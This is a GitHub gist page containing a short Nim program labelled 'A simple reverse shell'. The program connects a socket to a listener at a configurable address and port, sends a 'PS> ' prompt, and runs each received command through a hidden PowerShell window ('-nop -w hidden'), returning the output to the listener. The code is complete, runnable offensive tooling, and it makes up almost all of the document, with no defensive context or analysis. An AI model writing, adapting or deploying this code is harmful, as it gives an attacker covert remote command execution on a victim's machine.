Skip to content

Instantly share code, notes, and snippets.

@pawnmuncher
Forked from mttaggart/nimrs.nim
Created October 2, 2021 14:47
Show Gist options
  • Save pawnmuncher/6e1b9dc8bc8e08196c8215dbacf74188 to your computer and use it in GitHub Desktop.
Save pawnmuncher/6e1b9dc8bc8e08196c8215dbacf74188 to your computer and use it in GitHub Desktop.
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
sock.connect(address, Port(port))
#Create Prompt
let prompt = "PS> "
while true:
# Send prompt
send(sock, prompt)
# Receive Data
# Run command
let cmd = recvLine(sock)
let output =
execProcess(fmt"powershell.exe -nop -w hidden -c '{cmd}'")
send(sock, output)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment